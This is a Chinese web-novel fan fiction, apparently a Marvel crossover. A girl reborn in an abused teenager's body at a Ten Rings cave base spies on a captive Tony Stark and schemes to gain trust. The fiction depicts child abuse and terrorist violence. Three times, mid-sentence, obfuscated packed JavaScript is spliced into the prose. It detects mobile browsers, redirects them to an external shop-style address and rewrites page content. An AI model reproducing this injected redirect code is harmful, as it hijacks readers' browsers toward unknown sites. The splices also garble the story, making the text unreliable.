《[综英美]伤害反应》 1. 第一章 苏瑶没想到自己还能再醒过来。 能够在一次普通的旅行中撞上飞机失事,从某种意义上来说也算是中大奖了。 只是,在一片剧烈的爆炸声中失去意识后,她竟然又醒了过来。 她跪在冰凉的石地上,额头磕在粗糙的石板边缘,膝盖疼得像要碎掉。视野里是一双沾满泥垢的光脚,脚背上青筋凸起,再往上是一条灰褐色的长袍下摆,脏得看不出原本的颜色。 “别装死。” 一只穿着凉鞋的脚踢在她肩膀上,力道大得让她整个人侧翻过去。后背撞上石墙,脊椎骨传来一阵尖锐的刺痛,她的意识在这疼痛中彻底回笼。 苏瑶是个很怕痛的人,这剧烈的疼痛让她下意识地想要惨叫,然而还没等她出声,那剧烈的疼痛就像是被什么东西蒙住了一般,只在她的神经中留下一片迟钝的余韵。 与此同时,一股从身体深处涌现出来的暖流让苏颖一下子精神了起来,脑海中的混沌逐渐褪去,一些不属于她的记忆浮现了出来。 那些记忆混乱而痛苦,三岁被母亲抱着躲在墙角,五岁被一脚踢下楼梯,七岁因为打翻了一碗汤被用烧红的铁条烫伤手臂,九岁开始学着做饭洗衣,十一岁那年母亲最后一次试图保护她,被一拳打碎了下颌骨,两天后死在了山洞角落的破毯子里。 这个已经没有人保护了的小姑娘头发剪得极短,身上穿着男孩子的一副,瘦得像根竹竿,肋骨一根根凸出来,皮肤下面是营养不良导致的青灰色。她的手腕细得可怜,小臂上布满新旧交叠的淤青和烫伤疤痕。她今年十五岁,看起来最多十一二。 苏瑶现在就在这具身体里,这具名为莱拉·宾特·阿卜杜勒的小姑娘的身体里。 一只脚落在她撑在地上的手指上,碾了碾。 苏瑶听见自己指骨发出咯吱的响声,但奇怪的是不怎么疼,只有一种钝钝的压迫感,像被门夹了一下但神经还没来得及反应。 与此同时,一股相同的暖流再次涌现了出来。 这算什么,穿越到另一个世界后觉醒了挨打就变强的能力?或许她应该庆幸,自己虽然在一个惨兮兮的小女孩身上活了过来,但至少还有些特殊能力,让怕疼的她感觉上能好受一些。 苏瑶,苦中作乐地这么想着,在那只脚收回后,慢慢从地上爬了起来,目光落在对面的男人身上。 面前的男人四十岁上下,满脸粗硬的胡茬,眉毛浓黑得像两条毛毛虫压在眼睛上方。他穿着一件脏兮兮的灰色长袍,腰间系着一条旧皮带,皮带上挂着一把磨损严重的皮套匕首。他的眼睛布满血丝,身上散发着浓烈的廉价酒精气味——现在还不到当地时间的上午九点,这个人已经喝得半醉了。 这是阿卜杜勒·本·哈桑。 十戒帮在阿富汗某处据点的小头目,管理着十几个武装分子和一座藏在山腹里的武器工厂。同时也是这具身体生物学意义上的父亲。 苏瑶,或者说,莱拉,从这具身体残留的记忆碎片里拼凑出了这些信息。 就在她整理着自己脑海中的记忆的时候,阿卜杜勒正在看着她,那双布满血丝的眼睛里有一种浑浊的审视,像在看一件工具是否还能用。 “你会说英语。”他说。不是疑问句,是陈述句。这具身体的原主人在母亲还活着的时候学过一些基础英语,阿卜杜勒是知道的。 莱拉不知道阿卜杜勒为什么会突然说这句话,也不知道之前阿卜杜勒为什么要打她,她只是低垂着头,就像这具身体的原主人那样,沉默,逆来顺受。 “从今天开始,你负责给山洞里那两个美国人送饭。”阿卜杜勒看着她,就像在看一个好用的工具,“盯住他们,听他们说了什么,回来告诉我。只要你做好这件事,你就可以不用挨打,还可以每天都吃饱肚子,懂了吗?” 莱拉点点头,没有说话。 她不是很在意眼前的男人到底在说些什么,大半的注意力都放在自己身体里的那股热流上。她试着用意念让这股热流强化一下她这具脆弱的身体,热流便开始听话地滋润起了她的身体。等到热流完全耗尽之后,莱拉能够感觉到,自己的身体确实被强化了一些。 阿卜杜勒在莱拉点头后就离开了。 原本有些发黑的视线恢复了正常,软绵绵的双腿也有了些力气。莱拉走了两步,膝盖和手臂上都有些不太舒服的感觉,应该是之前被阿卜杜勒殴打虐待出来的伤势。而伴随着她的走动,丝丝缕缕的,姑且先称作强化能量的暖流逐渐涌现出来。 对于原本的莱拉来说,阿卜杜勒之前所说的,能够每天吃饱肚子,还能够不被打,确实是个很有诱惑力的交换条件。 但对于现在的莱拉来说就不一样了。 她确信自己确实拥有了特殊能力,被打的时候不仅不疼,还能让自己变强,阿卜杜勒给出的条件就没那么有吸引力了。 不过阿卜杜勒太过情绪化,直接违抗对方的话,莱拉担心自己会被直接杀掉,就像这具身体原本的母亲那样。 新生的强化能量分量太少,莱拉没打算现在就使用,这些暖流或许正是因为她身上还残留着的伤势才出现的,如果现在就增强恢复力的话,她反倒是需要自己给自己弄出点伤势来了。与其现在就用了它,不如先攒起来,等到关键的时候再用。 没过多久,一个二十出头的武装分子朝她走过来,手里端着一把AK-47。这人叫拉希德,是阿卜杜勒手下比较好说话的一个,至少不会无缘无故打人。 “你爸让你去给山洞里那两个美国人送饭。”拉希德把一只脏兮兮的托盘塞到她手里,托盘上放着两块扁平的馕饼和一小碗灰绿色的豆子泥,“送完饭之后不用急着出来,接下来的一段时间,你都不用再干其他的活儿了。” 拉希德说完,便转身离开,朝着山洞的一个方向走去:“跟上,以后就是你自己一个人过去。” 莱拉是阿卜杜勒的孩子,就算阿卜杜勒隔三差五的虐打她,其他人也仍旧觉得莱拉是自己人。 他们对她有着完全的信任。 这种信任本质上是一种蔑视,他们并非将她当做一个人来看待,而是将她看做属于阿卜杜勒的一件物品。 谁会质疑一件物品的忠诚度呢? 莱拉端着托盘,跟在拉希德身后,穿过一条条昏暗的石廊。 山洞内部比外面看起来要大得多。十戒帮在这里经营了至少五年,把天然洞穴改造成了一个功能齐全的小型基地。武器制造区、生活区、储藏区、囚禁区,每个区域之间用粗粝的石墙隔开,头顶上拉着乱七八糟的电线,灯泡大多是那种发出嗡嗡声的节能灯,光线惨白,照得每个人的脸都像死人一样。 他们经过一个转角,莱拉闻到一股浓重的铁锈味和机油味,混合着焊接产生的焦糊气息。她听见金属碰撞的声音,还有电弧焊的滋滋声。声音从一个半开放的洞穴里传出来,洞口站着两个持枪的武装分子,见到拉希德只是点了点头。 “就是这儿。”拉希德朝洞口偏了偏头,“进去吧。” 莱拉点点头,端着托盘走了进去。 洞里的光线比外面亮得多,几盏大功率卤素灯把整个空间照得没有死角。她的眼睛被晃得眯了起来,透过泪水模糊的视线,她看见了这个地方的布置——几张铁皮桌子拼成的工作台,上面堆满了电路板、电线、金属零件和工具。墙角堆着几箱拆开的导弹部件,其中一个外壳被撬开,露出内部复杂的线路结构。 然后,她看见了他们所说的那两个美国人。 其中一个坐在一张破旧的金属椅子上,身上穿着一件灰色背心,领口松松垮垮地耷拉着,露出胸口那个丑陋的东西——一块电磁铁紧贴皮肤,周围是红肿发炎的皮肤,几根电线从电磁铁边缘延伸出来,连接到旁边桌子上的汽车蓄电池上。他的头发乱糟糟的,脸上有几天没刮的胡茬,眼窝深陷,但那张脸,那张曾经在大荧幕上出现过的脸,让莱拉恍然。 这是托尼·斯塔克。 未来的钢铁侠。 她上一世有段时间最喜欢的超级英雄。 站在托尼旁边的一个四十多岁的男人,面颊消瘦,戴着一副用胶布缠过镜腿的眼镜。如果没有猜错的话,他应该就是伊森医生了。 “托尼,先吃饭。” “不饿。”托尼头都没抬,手指在一块电路板上做着什么操作。 伊森叹了口气,转过身,看见了端着托盘站在洞口的莱拉。他微微愣了一下,大概是因为没见过这么小的孩子在这个地方出现。但他很快收起了惊讶,走过来接过托盘,用阿拉伯语说了声“谢谢”。 莱拉没有说话,只是朝伊森点了点头,随即便走回到了洞口处。 这是一个可以听到那两人的交谈声,但又不会影响到他们的位置。 伊森把食物放在桌上,托尼终于抬起头看了一眼。他的目光扫过托盘,扫过伊森,然后落在了洞口那个瘦小的身影上。 “他们换了个孩子来送饭。”伊森低声用英语说。 托尼看了两秒,收回目光,拿起一块馕饼咬了一口。他吃得很慢,嚼得很仔细,像是要吸收这份简陋的餐食中的每一分营养一样。 莱拉从低垂的眼帘下观察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618318|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着这一切。 她的心跳比平时快了一些,不是因为紧张,而是因为一种奇异的现实感——她真的穿越了,面前就是托尼·斯塔克本人。那个在电影里穿着红色战甲飞天遁地的人,此刻就坐在她几米之外,胸口嵌着一块汽车电池供电的电磁铁,吃着一块又干又硬的馕饼。 他的处境比她想象的要差。胸口那个电磁铁周围的皮肤红肿得厉害,有些地方甚至渗出了透明的组织液。莱拉虽然不是什么医生,但任何一个正常人都能看出来那已经感染了。如果不及时处理,败血症会在几周内要了他的命。 但他还活着,而且还在造东西。 莱拉的目光从托尼身上移开,扫过工作台上的零件。她认出了其中一些东西——不是因为她懂工程学,而是因为她看过《钢铁侠》这部电影。那些零件正在被组装成某种东西的雏形,虽然现在还看不出全貌,但她知道那会是什么。 马克一号。 最初的、最简陋的、用废料拼凑出来的那套战甲。 托尼在吃饭的间隙又开口了,声音压得很低:“那个孩子,你以前见过吗?” 伊森同样低声回答:“没有。可能是新来的。” “他看起来很瘦弱。”托尼说这话的时候语气很平,但莱拉听出了那下面的东西,那是是被压住的愤怒,“身上都是伤,他在被虐待,这群王八蛋把他当奴隶在用。” 伊森没有接话,只是沉默地吃着饭。 莱拉低着头,看着自己脚下的那一小块地面。很奇怪,明明托尼.斯塔克现在正身陷囹圄,状态比她还要糟糕,也还没有成为那个穿着钢铁战甲的超级英雄,但在看到这个男人的时候,莱拉那从穿越之后就躁动不安的心,突然就平静了下来。 这大概就是超级英雄存在的意义吧。 让普通人能够安心。 莱拉开始思考接下来自己该做的事情。 她不会一直留在这里,十戒帮是个恐怖组织,在这种地方死掉的概率太高了。 托尼.斯塔克,未来的钢铁侠,也是,她能够真正逃离这里的机会。 托尼对她有同情心,这很好,但不够。 她不能只成为托尼.斯塔克同情的对象,她需要成为他们的同伴,让托尼对她产生责任感的同伴。 莱拉在心里盘算着,脸上没有任何表情。 吃完饭后,伊森把托盘收好,走到洞口递给莱拉。莱拉接过托盘,站起来,朝伊森微微点了点头,然后转身离开。 那些丝丝缕缕的强化能量还在缓慢地涌现,像泉眼里的水,细而不断——之前的殴打留下的内伤、长期营养不良造成的器官损伤、以及今天新添的淤青和擦伤,都在源源不断地转化为微弱的强化能量。 量不大,但胜在稳定。 莱拉的记忆里有类似于食堂的地方所在的位置,她循着记忆走了过去,顺利地领到了属于她的口粮。看来阿卜杜勒至少说话算话,让她不至于在未来的一段时间被饿死。 吃过一顿糟糕的中饭后,莱拉没有回属于自己的那个山洞角落,而是再次来到托尼和伊森所在的山洞外。 这次,她并没有进入山洞,而是贴在山洞洞口的铁门上,认真倾听着里面的动静。 至少看上去是这样。 门口守着的两人显然已经知道了莱拉接下来的工作内容,对于她的行为视而不见。 在莱拉开始给两人送饭的第三天,托尼就用山洞里的那些简陋的装置,给自己做了一块小型的反应堆。 莱拉看着那块镶嵌在托尼胸口的小型反应堆,第一次没有在送完饭之后离开,而是开口,用阿拉伯语问道:“这是什么?” 托尼虽然听不懂阿拉伯语,但看莱拉的眼神也猜出了大概,脸上下意识地露出了个得意的笑容:“这是新的时代,亲爱的。” 伊森无语的看了眼这个时候还下意识地孔雀开屏的托尼,随即便温声对莱拉说道:“这是一种能量装置。” 莱拉看着那块蓝色的反应堆:“它真漂亮。” 托尼看向伊森:“这孩子在说什么?” 伊森笑了起来:“他在夸你的反应堆很漂亮。” 托尼挑了挑眉:“那他还挺有眼光的。”说着,他看向莱拉,“孩子,你叫什么名字?” 莱拉茫然的看着他,像是完全不知道他在说什么一般。 伊森用阿拉伯语翻译了这个问题。 “我叫莱拉,先生。”莱拉小声说道。 这是莱拉和托尼两人之间的第一次交流,当天晚上,莱拉就被带到了另一个山洞里。 2. 第二章 十几个全副武装的恐怖分子簇拥着坐在中间的一个男人。那人看起来四十多岁,穿着一件深色的长袍,面容比阿卜杜勒干净得多,胡须修剪整齐,手指上戴着一枚银色的戒指。 这是这个据点的真正掌控者。莱拉不知道他的名字,但她在原主人的记忆碎片里见过这张脸。所有人见了他都要低头,包括她的父亲阿卜杜勒。如果猜错的话,他应该就是十戒帮这个基地的头目了。 此刻,阿卜杜勒正站在那个男人的身侧,端着一把AK-47,姿态绷得像一根拉紧的弦。他脸上的表情是莱拉从未见过的——不是醉酒后的暴戾,不是日常的阴沉,而是一种近乎卑微的恭顺。 男人抬了抬手,山洞里瞬间安静下来。 “你就是莱拉?”他开口了,说的是阿拉伯语,声音不大,但在空旷的山洞里显得格外清晰。 莱拉低着头,声音很小:“是的,先生。” “过来。” 莱拉往前走了几步,在距离男人三步远的地方停下,始终低着头。她不敢抬头看那个男人的眼睛,有点担心自己的眼睛里流露出以她现在的身份不该流露出来的情绪。作为一个在和平国度长大生活的人,在获得了特殊能力的情况下,她实在很难在没有生命危险的情况下,表现出身体原来的主人那种畏惧一切的感觉。 “你在给那两个美国人送饭?”男人问。 “是的,先生。” “听说你会说英语?” “只会一点点,先生。母亲在世的时候教过我。”莱拉努力控制着自己的声音,让它带上了一丝颤抖。 男人沉默了片刻,那双不大的眼睛在她身上来回扫视,像在打量一件商品的价值。莱拉能感觉到那道目光落在自己皮肤的每一寸上,带着一种如有实质的压迫感。 “抬起头。” 莱拉慢慢抬起头,目光低垂,没有直视对方。 “看着我的眼睛。” 她深吸一口气,抬起眼帘,与那个男人对视。 那双眼睛很冷。不是阿卜杜勒醉酒后那种浑浊的暴怒,而是一种清醒的,自己选择的暴虐。 莱拉没有移开目光,但她的睫毛微微颤动了一下,眼眶里浮上了一层薄薄的水雾——像是被吓的,又像是强压下了心里的恐惧后的生理反应。 男人盯着她看了几秒,语气平静的问道:“这几天你送饭,听到那两个美国人说什么了?” 莱拉把这几天的观察整理了一下,挑了一些能说的说了出来——“他们每天大部分时间都在工作台上摆弄零件,说话很小心,声音也很低,我离得远,听不太清。偶尔听到几句,大部分都是关于零件、材料之类的东西,我听不懂那些词。” “他们有没有说过不想造导弹之类的话?” 莱拉想了想,摇了摇头:“没有。他们从没直接说过不想造。但他们很警惕,每次有人靠近洞口就会压低声音。” 男人的手指在椅子扶手上轻轻敲了两下。他转向阿卜杜勒:“你不是说这个孩子是你的人吗?怎么连他们两个说了什么都打听不到?” 阿卜杜勒的额头沁出了一层细汗,他瞪了莱拉一眼,像是在责怪她让自己在男人面前丢了脸:“她只是个孩子,英语也就是个半吊子——” “我不是在问你。”男人平静地打断了他。 阿卜杜勒立刻闭上了嘴。 男人的目光重新落在莱拉身上:“你觉得,要怎样才能从他们那里得到有用的信息?” 莱拉能感觉到这不是随口一问——这个男人在测试她,测试她的脑子好不好用,测试她值不值得花更多的心思。 莱拉低下头,沉默了几秒,像是在认真思考这个问题。然后她抬起头,声音比刚才稳了一些:“先生,我觉得光是躲在旁边听,是听不到什么有用东西的。” “哦?”男人的眉毛微微动了一下,“那你想怎么做?” “我需要取得他们的信任。” 山洞里安静了一瞬。然后阿卜杜勒发出一声短促的笑,像是听到了什么荒谬的话:“信任?两个美国人凭什么信任你?” 莱拉没有看阿卜杜勒,她的眼睛一直看着那个坐在中间的男人:“他们不会无缘无故信任我。但如果我能让他们觉得,我跟他们是一边的,他们就会放松警惕,露出真正的想法。” 男人没有立刻回应,他的手指又在扶手上敲了两下,节奏很慢,像在品味她的话。 “你打算怎么让他们觉得你跟他们是一边的?” 莱拉深吸了一口气。她知道自己接下来要说的话可能会改变她在这些人眼中的位置——要么被当成一个有点用处的人,要么被当成一个不知天高地厚的蠢货。 “先生,他们现在并不知道我的真实身份。”她说。 男人看了她几秒钟,然后微微倾身向前,示意自己在认真听:“继续说。” 莱拉掐了掐自己的手心,并没有遮掩自己有些紧张的情绪:“那两个美国人中,那个年轻一些的——叫托尼的那个——他看我的眼神,有同情。他注意到我身上的伤了。” 莱拉说到这里,刻意没有看阿卜杜勒,但所有人都知道那些伤是谁造成的。 山洞里有几个武装分子开始低声交头接耳,但男人一抬手,那些声音立刻消失了。 “所以你想取得他们的信任,让他们在‘自己人’面前露出更真实想法?” “是的,先生。” “具体怎么做?” 莱拉舔了一下干裂的嘴唇,像是在犹豫要不要说出自己真正的想法。 然后她说了出来。 “我可以扮演一个被你们抓来的孩子。” 男人的眼睛微微眯了起来。 “我可以说我是从附近村子里被掳来的,被迫在这里干活。” “如果他们相信我跟他们一样是被迫待在这里的,他们就会在我面前放松警惕,甚至可能会主动跟我说话,跟我说他们的真实想法。” 男人沉默了片刻,然后说:“你刚才说,那个叫托尼的男人同情你,你要怎么把这种同情转为信任。” 莱拉垂下眼睛,声音低了下去,但每个字都清清楚楚:“我需要一个契机,让他们觉得我和他们处于同一立场。” “什么样的契机?” “如果他们迟迟没有做出导弹,你们想要给他们点教训,但是又不想伤害他们,影响到他们的工作效率——”她说得很慢,“所以,你们当着他们的面惩罚我,把这当做是对他们的一种威胁,他们会怎么想呢?” 山洞里再次安静下来。 这次连阿卜杜勒的脸色都变了。他看着莱拉,像是在重新审视这个他从未正眼看过的女儿。 男人靠在椅背上,双手交叉放在膝盖上,看着莱拉的眼神变了——从打量一件垃圾,变成了审视一个有点意思的东西。 “你的意思是,在他们面前惩罚你,让他们以为是因为他们的拖延才连累了你,从而让他们感到内疚?” “不止是内疚,先生。”莱拉的声音依然很低,但语速比刚才快了一些,像是说到了兴头上,顾不上害怕了,“你们甚至可以让我重伤,伤到无法行动的地步,让后把我像一个垃圾一样扔在他们的洞穴里。到那个时候,他们不管做什么,都不会避开我这个为了他们差点死掉的孩子了。” 男人的嘴角微微弯了一下。那不是笑,只是一种满意的弧度,像一个人找到了一个好用的工具时的表情。 “你知道你在说谁吗?”他忽然问。 莱拉茫然地摇了摇头。 “你是在说托尼·斯塔克。”男人说,“美国的武器大王,亿万富翁,花花公子。你想让这样的一个资本家,对你产生歉疚和信任?” 莱拉低下头:“我不知道他是谁,先生。但我对别人对我的态度很敏锐,我可以感觉到,那是个有良心的人。” 这句话说出来之后,山洞里安静了很久。 莱拉能感觉到那个男人的目光一直在她身上,那目光像是在称量她的重量,在计算她的价值。她保持着头低下来的姿势,呼吸急促,心跳也快得厉害。 这些都是她真实的反应,但也是一个被虐待了十几年的小女孩,应该有的反应。 她提出刚才的计划,表面上是为十戒帮做间谍,想要让十戒帮信任她,但实际上是在为自己创造强化能量的来源。在这个计划里,她会受伤,会受到折磨,但却不会死,这正是她所需要的。 她提出要扮演“被掳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为对于一个聪明人来说,不提,比提更有力。 不提阿卜杜勒,意味着她不打算让男人替她“主持公道”,不打算挑起任何不必要的纷争。她只想为自己争取一个位置。 男人沉默了片刻,然后忽然笑了。他转过头,看了阿卜杜勒一眼。 “你养了个好女儿。”他说。 阿卜杜勒不知道该说什么,只是讪讪地笑了一下,笑得比哭还难看。 男人重新看向莱拉,收起了笑容,语气恢复了那种不带感情的平静:“你的计划我同意了。至于加入十戒帮的事——” 他顿了一下。 “等你证明了自己再说。” 莱拉低下头,深深地鞠了一躬:“谢谢先生。” “下去吧。”男人挥了挥手。 莱拉转身走出山洞。她走得很慢,脚步有些虚浮,像是被刚才的对话耗尽了全部力气。 但她的眼睛在黑暗中亮得惊人。 计划的第一步,成功了。 她没有指望那个男人会当场答应让她加入十戒帮。她提这个要求,从一开始就不是为了被答应。她提出来,是为了让这个男人觉得她“有所图”——一个有欲望的人,比一个无所求的人更容易被控制,也更容易被信任。 走出山洞之后,莱拉没有直接回自己的角落。她在石廊的一个拐角处停下来,靠着冰冷的石壁,闭上眼睛,努力平复着自己过快的心跳。 她的双手在发抖,那不是恐惧,而是后知后觉的紧张。 事实上,等到一切结束后,她甚至有些不太相信,刚才在里面表现得如此完美的人居然是她。 莱拉把手攥成拳头,指甲掐进掌心。轻微的刺痛——不,是轻微的钝感——传来,带着一小股微弱的暖流。 暖流虽然微弱,但这其中所代表的意义却能让她觉得安心。 而现在,她需要回去休息,明天还有很多事要做。 她回到那个堆着旧毯子的,属于自己的角落,把自己裹进毯子里,缩成一团。 莱拉闭上眼睛,嘴角弯了一个微小的弧度,期待着第二天的到来。 3. 第三章 接下来的日子,莱拉每天都去山洞送饭,一天三次,雷打不动。 头几天,她和托尼之间的“交流”基本靠伊森翻译。托尼问一句,伊森翻译成阿拉伯语,莱拉回答,伊森再翻译回英语。过程繁琐得像在用两种不同频率的对讲机通话,但托尼似乎并不介意。 “你叫莱拉?”第四天的时候,托尼靠在椅背上,一边啃馕饼一边问,语气随意得像在街边咖啡馆跟人闲聊。 伊森翻译了。 “是的,先生。”莱拉小声回答。 “别叫我先生。”托尼皱了皱眉,“听着像在叫我爸。叫托尼就行。” 伊森犹豫了一下,还是把这句话翻译了。莱拉抬起头看了托尼一眼,那双大眼睛里带着一丝不确定:“……Tony?” 托尼听到自己的名字从这孩子嘴里蹦出来,发音不准,带着浓重的阿拉伯口音,“T”发成了“D”,听起来像“Dony”。他嘴角抽了一下,没有纠正,反而点了点头:“对,Dony。行,就这么叫。” 伊森在旁边忍不住笑了一下。 从那天起,莱拉每次送饭进来都会小声说一句“早上好,Dony”或者“晚上好,Dony”。托尼每次都点头回应,有时候会说一句“嘿,kid”,有时候什么都不说,只是抬一下下巴当打招呼。 一周后,莱拉开始在送饭的时候多待一会儿。 不是蹲在洞口的那种“待”,而是真正走进山洞里,在工作台旁边找个角落坐下。起初她只是安静地坐着,看着托尼和伊森工作。她不懂那些零件是干什么的,不懂电路怎么走,不懂任何机械原理。她只是一个观众,看着两个被囚禁的男人在灯光下忙碌。 但她的耳朵一直在工作。 托尼和伊森之间的对话,大部分是英语,语速时快时慢。托尼说起技术细节时会蹦出大量专业术语,莱拉完全听不懂那些词,但她能抓住大框架。她听到了“能量”“外壳”“平衡”“时间”这些词,听到了托尼抱怨供电不稳定,听到了伊森担心材料不够。 她在听,在记,在把这些碎片拼凑成一幅画面。 托尼有时候会自言自语式地跟她说话,明知道她听不懂。 “看到这个了吗?这是一个定向能量转移的雏形。”他拿着一个巴掌大的半成品,在莱拉面前晃了晃。 莱拉眨了眨眼。 “听不懂对吧?”托尼把那东西放回桌上,“没关系,大部分人也听不懂。” 伊森在旁边无奈地摇头:“托尼,你跟他说这些干什么?” “为什么不能跟他说?”托尼理直气壮,“说不定这孩子是个天才呢。” 伊森看向莱拉,用阿拉伯语说:“他在说你可能是天才。” 莱拉露出一个困惑的表情,然后笑了。很小的、怯生生的笑,但确实是笑。 托尼看到那个笑容,眉毛挑了挑:“他在笑什么?” “你说他是天才,他很高兴。”伊森说。 托尼哼了一声:“那是,被我托尼·斯塔克称为天才,全世界也没几个人。” 第二周的时候,发生了一件小事。 那天午饭时间,托尼咬了一口馕饼,嚼了两下,表情扭曲得像吞了一只活苍蝇。 “这饼比昨天的还硬。”他用英语对伊森抱怨,“口感像在啃水泥板。你看,这块还能当飞盘用。”他举起馕饼,作势要扔出去。 伊森无奈地叹了口气:“托尼,有的吃就不错了。” “我不是在挑剔,我是在陈述事实。”托尼一脸正经,“这饼的硬度已经超出了人类牙齿的承受范围。我怀疑他们是在故意测试我的咬合力。那个豆子泥——我就不评价了,因为它不值得被评价。” 莱拉蹲在角落里,把这些话一个字不落地听进去了。 当天晚上,她找到了负责伙食的人——一个胖乎乎的中年男人,平时很少说话,但也不会无缘无故打人。莱拉站在他面前,低着头,用阿拉伯语小声说:“先生,能跟您商量一件事吗?” 胖男人看了她一眼:“什么事?” “那两个美国人的伙食,能不能稍微好一点?不用多好,就是……饼不要太硬,偶尔加点东西。” 胖男人皱起眉头:“你操什么心?” 莱拉没有抬头,声音更加恭敬:“不是操心,先生。是那个叫托尼的美国人,最近一直在抱怨食物太差。他心情不好,干活就慢。如果他吃得好一点,也许工作进度能快一些。” 胖男人盯着她看了几秒,似乎在掂量这话的分量。然后他哼了一声:“你倒是会替他们着想。” “我是替我们大家着想,先生。”莱拉说,“早点完成任务,大家都省心。” 胖男人没有当场答应,但第二天早上,莱拉去取饭的时候,发现托尼和伊森的托盘上多了一小碟腌橄榄和一壶热茶。 她把食物端进山洞的时候,托尼看了一眼多出来的东西,眉毛挑得老高:“今天是什么日子?他们良心发现了?” 伊森也很意外,但没说什么,只是把食物接过去。 莱拉退到角落里,低头摆弄自己的衣角,嘴角弯了一个很浅很浅的弧度。 从那天起,托尼的伙食质量有了明显的提升。虽然还是馕饼和豆子泥为主,但偶尔会多出一些东西——一小块奶酪,几颗无花果干,甚至有一次出现了一小碟蜂蜜。 托尼每次看到新东西都会点评一番。 “今天的饼居然不硬了,我是不是在做梦。” “这个奶酪的味道……怎么说呢,像袜子。但我没有在抱怨,有奶酪已经很好了。” “蜂蜜!伊森你看,是蜂蜜!他们终于意识到我需要补充糖分了。” 有一天,伊森忽然看着她,用阿拉伯语问道:“莱拉,这些食物……是不是你跟外面的人说了什么?” 莱拉抬起头,没有说话,只是露出了个安静的微笑。 “没什么。”伊森笑了笑,没有追问。 但莱拉注意到,从那天以后,托尼看她的目光中,多了几分信任。 这正是莱拉想要的。不管是为了接下来的计划,还是为了最后被托尼带走这个目的,她都需要托尼的信任。 时间一天一天地过去,山洞里的氛围越来越不像一个囚禁场所了。 当然,门外的持枪守卫还在,但在这个山洞里面,在这个被卤素灯照得通亮的空间里,三个人之间的气氛变得出乎意料地轻松。 托尼开始跟莱拉开玩笑。 他甚至会在工作之余教莱拉一些英文单词。 第三周的末尾,十戒帮的老大又派人来叫她了。 这次不是在那个有王座的山洞里,而是在一个更偏僻的、只有几个人知道的小洞穴里。男人坐在一张折叠椅上,面前摆着一壶茶和两个杯子。看到莱拉进来,他指了指对面的位置。 “坐。” 莱拉坐下了。这是她第一次被允许在这个男人面前坐下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618320|206125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你的计划进行得怎么样了?”男人问。 “很顺利,先生。”莱拉说,声音不大但清晰,“他们已经开始信任我了。他们在我面前说话不再避讳,有时候甚至会主动跟我说话。” “听到什么有用的了?” 莱拉沉默了几秒,像是在整理思绪。然后她抬起头,看着男人的眼睛。 “先生,他们在拖延时间。” 男人的手指在椅子扶手上轻轻敲了一下:“说具体一点。” “他们从不说‘不想造导弹’这样的话。但他们一直在讨论一件事——如果导弹造出来了,他们还能不能活着离开这里。” 这话当然是假的。托尼和伊森从来没有说过这样的话。但托尼需要时间造出他的钢铁战甲,而她需要说出一些有价值的内容。 这帮恐怖分子不会相信托尼和伊森说出来的任何时间,他们只会觉得,那两人没有在认真工作。但他们会相信莱拉这个自己人的话,特别是在莱拉确定了他们的猜测后,她所说出来的那个时间,可信度就很高了。 “他们在害怕。”莱拉继续说,语气平静,“他们知道,如果帮你们造出了导弹,他们就没有利用价值了。” 接下来的话,不需要她来说。 男人的眼睛微微眯了起来。 “所以他们在卡进度。”莱拉说,“不是因为材料真的不够,而是因为他们需要一个活下去的理由。只要导弹还没造好,他们就有价值,就不会被杀。” “材料够吗?”男人问了一句关键的话。 莱拉深吸了一口气。接下来的话,是她整个计划中最危险的一步。 “先生,我听到托尼说过。”莱拉说,声音压得很低,“他说——‘用现有的材料,三个月内我就能造出他们要的东西。’” 男人端茶的手顿了一下。 “他原话是这样的?”他问,语气里多了一丝锐利。 “不是原话,先生。”莱拉立刻说,“我听不太懂那些专业词,但大意就是这样。他在跟伊森讨论的时候说,如果不管精度和稳定性,只是要让导弹能发射、能炸,用这里的材料就够了。但他不想那么做——因为他知道一旦交差,他们就完了。” 山洞里安静了几秒。 男人放下茶杯,身体微微前倾,那双冷酷的眼睛盯着莱拉:“你确定你没有听错?” “我确定,先生。”莱拉迎着他的目光,语气肯定,声音没有一丝颤抖,“他们在山洞里说的话我都记着。有些我听不懂,但这句话我反复想过很多遍,就是这个意思。” 男人靠在椅背上,手指交叉放在膝盖上,沉默了很久。 “有意思。”他终于开口了,语气里带着一丝玩味,“一个亿万富翁,为了活命,也开始装傻充愣了。” 他看着莱拉,目光里多了一些之前没有的东西。 “你做得很好。” 莱拉低下头:“谢谢先生。” “继续盯着他们。”男人说,“下周,我们就按你说的计划行事。” 莱拉点头,站起来,转身要走。 “莱拉。”男人的声音从身后传来。 她停下脚步,没有回头。 “关于你想加入十戒帮的是。”男人的声音不紧不慢,“如果在完成你的计划后,你的想法仍旧没有改变的话,我就让你加入十戒帮。” 莱拉的心跳漏了一拍。 “谢谢先生。”她说,然后走出了山洞。 4. 第四章 第三十二天的早上。 莱拉端着早饭走进山洞的时候,就感觉到气氛不对。 